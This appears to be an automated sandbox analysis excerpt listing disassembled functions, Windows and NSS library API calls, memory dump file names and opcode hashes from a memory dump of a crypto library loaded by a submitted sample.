TlsGetValue.KERNEL32(6CC75385,?,?,00000000), ref: 6CC74A29
EnterCriticalSection.KERNEL32 ref: 6CC74A42
TlsGetValue.KERNEL32 ref: 6CC74A5F
EnterCriticalSection.KERNEL32 ref: 6CC74A78
PL_HashTableLookup.NSS3 ref: 6CC74A91
PR_Unlock.NSS3 ref: 6CC74A9E
PR_Now.NSS3 ref: 6CC74AAD
PR_Unlock.NSS3 ref: 6CC74AD2

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: ebe74dc93443542561698b25995a1d437410d1e9bca182d08805b49388b1664d
Instruction ID: 7fc67fcac9c9ca224529c9ce77288a81140c3422f0828a9d6d9dcb8cc2ecda83
Opcode Fuzzy Hash: ebe74dc93443542561698b25995a1d437410d1e9bca182d08805b49388b1664d
Instruction Fuzzy Hash: D7314DB5A04A018FDB10EF78D08446ABBF4FF49364B058969DD9997700FB30E894CBE1

Function 6CC74BA0 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC7A6A2,?,?,00000000), ref: 6CC74BB9
EnterCriticalSection.KERNEL32 ref: 6CC74BD2
TlsGetValue.KERNEL32 ref: 6CC74BEF
EnterCriticalSection.KERNEL32 ref: 6CC74C08
PL_HashTableLookup.NSS3 ref: 6CC74C21
PR_Unlock.NSS3 ref: 6CC74C2E
PR_Now.NSS3 ref: 6CC74C3D
PR_Unlock.NSS3 ref: 6CC74C62

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: 292a76e84609ef51170edd6944897214c4800ead37854664821a2d3dd9f50e47
Instruction ID: 2245b27fb176303cc39c7117b9159a316c0e0849318db4bfb9c80e5e1152ecd8
Opcode Fuzzy Hash: 292a76e84609ef51170edd6944897214c4800ead37854664821a2d3dd9f50e47
Instruction Fuzzy Hash: B13129B5A04A019FDB10EF79D08446ABBF4FF49354B018A69ED9987710EB30E894CBE1

Function 6CD60860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6CD67AE2,?,?,?,?,?,?,6CD6798A), ref: 6CD6086C

Part of subcall function 6CD60930: EnterCriticalSection.KERNEL32(?,00000000,?,6CD60C83), ref: 6CD6094F
Part of subcall function 6CD60930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6CD60C83), ref: 6CD60974
Part of subcall function 6CD60930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60983
Part of subcall function 6CD60930: _PR_MD_UNLOCK.NSS3(?,?,6CD60C83), ref: 6CD6099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6CD67AE2,?,?,?,?,?,?,6CD6798A), ref: 6CD6087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6CD67AE2,?,?,?,?,?,?,6CD6798A), ref: 6CD60892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6CD6798A), ref: 6CD608AA
free.MOZGLUE(?,00000000,00000000,?,?,6CD67AE2,?,?,?,?,?,?,6CD6798A), ref: 6CD608C7
free.MOZGLUE(?,00000000,00000000,?,?,6CD67AE2,?,?,?,?,?,?,6CD6798A), ref: 6CD608E9
free.MOZGLUE(?,6CD67AE2,?,?,?,?,?,?,6CD6798A), ref: 6CD608EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6CD67AE2,?,?,?,?,?,?,6CD6798A), ref: 6CD6090E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: 530e178ab08e8aab28f8660863b60b721cbe1fb218c30bf3b81177fa0558f41a
Instruction ID: feb92a21292bfe4b40d3de0f8702dfabf398ecbcfdc150e97a6db29c28257a12
Opcode Fuzzy Hash: 530e178ab08e8aab28f8660863b60b721cbe1fb218c30bf3b81177fa0558f41a
Instruction Fuzzy Hash: 311189F1701241C7FF00EB99E845B4A777CAB812A8F290124D61657B50DB32F814CBD9

Function 6CCC8C10 Relevance: 10.8, APIs: 7, Instructions: 279COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCC8C93

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

Part of subcall function 6CCA8A60: TlsGetValue.KERNEL32(6CC561C4,?,6CC55F9C,00000000), ref: 6CCA8A81
Part of subcall function 6CCA8A60: TlsGetValue.KERNEL32(?,?,?,6CC55F9C,00000000), ref: 6CCA8A9E
Part of subcall function 6CCA8A60: EnterCriticalSection.KERNEL32(?,?,?,?,6CC55F9C,00000000), ref: 6CCA8AB7
Part of subcall function 6CCA8A60: PR_Unlock.NSS3(?,?,?,?,?,6CC55F9C,00000000), ref: 6CCA8AD2

memset.VCRUNTIME140(?,00000000,?), ref: 6CCC8CFB
memset.VCRUNTIME140(?,00000000,?), ref: 6CCC8D10

Part of subcall function 6CCA8970: TlsGetValue.KERNEL32(?,00000000,6CC561C4,?,6CC55639,00000000), ref: 6CCA8991
Part of subcall function 6CCA8970: TlsGetValue.KERNEL32(?,?,?,?,?,6CC55639,00000000), ref: 6CCA89AD
Part of subcall function 6CCA8970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC55639,00000000), ref: 6CCA89C6
Part of subcall function 6CCA8970: PR_WaitCondVar.NSS3 ref: 6CCA89F7
Part of subcall function 6CCA8970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC55639,00000000), ref: 6CCA8A0C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockmemset$CondErrorWait
String ID:
API String ID: 2412912262-0
Opcode ID: 7efaae8008c620a36366d4fd8ef2786c9d427216f67c7dc514dc552799274205
Instruction ID: 661f14a8821cd201c5b7b19760abe129d83bf512262d9f8456a48b7d8662a9d7
Opcode Fuzzy Hash: 7efaae8008c620a36366d4fd8ef2786c9d427216f67c7dc514dc552799274205
Instruction Fuzzy Hash: 47B16EB0E003099FDB14CF65DC90AAEB7BAFF48308F14412EE91AA7751E731A955CB51

Function 6CBD4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBD4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CBD51BB

Strings

misuse, xrefs: 6CBD51AF
unable to delete/modify user-function due to active statements, xrefs: 6CBD51DF
%s at line %d of [%.10s], xrefs: 6CBD51B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBD51A5

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 9732b29145cf38c5851fd07a996b65e76c46cb520030778de3036015b2ed7423
Instruction ID: c17322deee4c4923fa1c6bec41397a89a476cc201e41e079636b892ed39f0472
Opcode Fuzzy Hash: 9732b29145cf38c5851fd07a996b65e76c46cb520030778de3036015b2ed7423
Instruction Fuzzy Hash: 7171ADB160424A9BEF00CF15CC80B9A77B9FF48308F0A4524FD199BA91D731E959CBA6

Function 6CC42D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6CC42D69

Strings

winUnmapfile2, xrefs: 6CC42F7F
winSeekFile, xrefs: 6CC42E9C
winTruncate2, xrefs: 6CC42EF8
winTruncate1, xrefs: 6CC42EBE
winUnmapfile1, xrefs: 6CC42F55

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 2f0bde249477b0c51a66d05ad2caba7e89d3a04cf622ed635aa182ded408f966
Instruction ID: 352a90dc4dc61d84b201c3d43bdbf1aa9454b338536775a666536a52cac3fb62
Opcode Fuzzy Hash: 2f0bde249477b0c51a66d05ad2caba7e89d3a04cf622ed635aa182ded408f966
Instruction Fuzzy Hash: 2C618D71A002059FEB04CF68DCA5A6E77B5FF49314F10C12CEA15DBB90EB31A906CB90

Function 6CCC29E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6CCC21DD,00000000), ref: 6CCC2A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6CCC21DD,00000002,00000000,00000000,?,?,6CCC21DD,00000000), ref: 6CCC2A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6CCC21DD,00000000), ref: 6CCC2A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CCC2AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6CCC2B0D
PK11_FreeSymKey.NSS3(?), ref: 6CCC2B7B
PK11_FreeSymKey.NSS3(?), ref: 6CCC2BD6

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: bd98cf04b83385a8e723fc7d382cb870553ab5a0ca9f578eae7d75bc1b4846dd
Instruction ID: 32cb364d571f005138348ae9408b8906e4848693bbf5088f45e71e5ce68e9f0f
Opcode Fuzzy Hash: bd98cf04b83385a8e723fc7d382cb870553ab5a0ca9f578eae7d75bc1b4846dd
Instruction Fuzzy Hash: 6451F5B1F002069BEB108F66DC94BAA77B5AF5431CF150124ED1AAB791F731E905CB92

Function 6CCA8B60 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 173stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCA8B93
PL_strncasecmp.NSS3(?,OID.,00000004), ref: 6CCA8BAA
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CCA8D28
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CCA8D44
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCA8D72

Strings

OID., xrefs: 6CCA8BA4

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CopyErrorItem_L_strncasecmpUtilmemcpystrlen
String ID: OID.
API String ID: 4247295491-3585844982
Opcode ID: aa2248382b979b6339f589e7519df641b39fe2da4499234245718a36121d9365
Instruction ID: a6df44935c5722f653b4f8074f98e08a16f50f8c6a57edeacfcb8965dea99797
Opcode Fuzzy Hash: aa2248382b979b6339f589e7519df641b39fe2da4499234245718a36121d9365
Instruction Fuzzy Hash: F35105B1F051A75BCB20CB58CC84B9AB7A4EB5534CF0445AAEA19DBB41F3309D86CF94

Function 6CC66980 Relevance: 10.6, APIs: 7, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6CC65DB0: NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC65DEC
Part of subcall function 6CC65DB0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CC65E0F

SECITEM_DupItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC669BA

Part of subcall function 6CCAFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CC59003,?), ref: 6CCAFD91
Part of subcall function 6CCAFD80: PORT_Alloc_Util.NSS3(A4686CCB,?), ref: 6CCAFDA2
Part of subcall function 6CCAFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CCB,?,?), ref: 6CCAFDC4

VFY_EndWithSignature.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CC66A59
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC66AB7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC66ACA
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC66AE0
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC66AE9

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Alloc_Item_free$AlgorithmDestroyErrorPolicyPublicSignatureWithZfreememcpy
String ID:
API String ID: 2730469119-0
Opcode ID: abd0e922acc5a21a481f4e9af7f03c4bde4b884d8b9cfe836d01915d7b2eeafe
Instruction ID: 24d90bc8ed0bf6a5515211688b1449ff128018304dc119f172b5dd95a0bad7e9
Opcode Fuzzy Hash: abd0e922acc5a21a481f4e9af7f03c4bde4b884d8b9cfe836d01915d7b2eeafe
Instruction Fuzzy Hash: 6041B0B1A40A049BEB10DF65ED85B9B77E9BF84354F18842CE95AC7B41FF31E80187A1

Function 6CCB89A0 Relevance: 10.6, APIs: 7, Instructions: 124COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3 ref: 6CCB89DF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CCB89EA
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CCB8A04

Part of subcall function 6CCBBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CCB800A,00000000,?,00000000,?), ref: 6CCBBC3F

PK11_PBEKeyGen.NSS3(00000000,?,?,00000000,?), ref: 6CCB8A47
PK11_GetInternalKeySlot.NSS3 ref: 6CCB8A7E
PK11_PBEKeyGen.NSS3(00000000,?,00000000,00000000,?), ref: 6CCB8A96

Part of subcall function 6CC9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC9F854
Part of subcall function 6CC9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC9F868
Part of subcall function 6CC9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC9F882
Part of subcall function 6CC9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC9F889
Part of subcall function 6CC9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC9F8A4
Part of subcall function 6CC9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC9F8AB
Part of subcall function 6CC9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC9F8C9
Part of subcall function 6CC9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC9F8D0

SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CCB8AD4

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$K11_Util$CriticalDeleteItem_Section$CopyInternalSlot$AlgorithmTag_Zfree
String ID:
API String ID: 3389286309-0
Opcode ID: 5eefa91285619dd9304dc69069bee6047ac66f1434a33bd6ccd484a697dab490
Instruction ID: cba45b66c28682a02431b48295416b4ac765906168fb8deda90fa15af2445a62
Opcode Fuzzy Hash: 5eefa91285619dd9304dc69069bee6047ac66f1434a33bd6ccd484a697dab490
Instruction Fuzzy Hash: 9B41D675A002017FE7019E95DC41FAB7668EB45758F044026FD1896B42F732E954C7E2

Function 6CC9AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CC9AB3E,?,?,?), ref: 6CC9AC35

Part of subcall function 6CC7CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC7CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CC9AB3E,?,?,?), ref: 6CC9AC55

Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB10F3
Part of subcall function 6CCB10C0: EnterCriticalSection.KERNEL32(?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB110C
Part of subcall function 6CCB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1141
Part of subcall function 6CCB10C0: PR_Unlock.NSS3(?,?,?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB1182
Part of subcall function 6CCB10C0: TlsGetValue.KERNEL32(?,6CC58802,00000000,00000008,?,6CC4EF74,00000000), ref: 6CCB119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CC9AB3E,?,?), ref: 6CC9AC70

Part of subcall function 6CC7E300: TlsGetValue.KERNEL32 ref: 6CC7E33C
Part of subcall function 6CC7E300: EnterCriticalSection.KERNEL32(?), ref: 6CC7E350
Part of subcall function 6CC7E300: PR_Unlock.NSS3(?), ref: 6CC7E5BC
Part of subcall function 6CC7E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CC7E5CA
Part of subcall function 6CC7E300: TlsGetValue.KERNEL32 ref: 6CC7E5F2
Part of subcall function 6CC7E300: EnterCriticalSection.KERNEL32(?), ref: 6CC7E606
Part of subcall function 6CC7E300: PORT_Alloc_Util.NSS3(?), ref: 6CC7E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CC9AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC9AB3E), ref: 6CC9ACD7
PORT_Alloc_Util.NSS3(?), ref: 6CC9AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CC9AD2B

Part of subcall function 6CC7F360: TlsGetValue.KERNEL32(00000000,?,6CC9A904,?), ref: 6CC7F38B
Part of subcall function 6CC7F360: EnterCriticalSection.KERNEL32(?,?,?,6CC9A904,?), ref: 6CC7F3A0
Part of subcall function 6CC7F360: PR_Unlock.NSS3(?,?,?,?,6CC9A904,?), ref: 6CC7F3D3

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

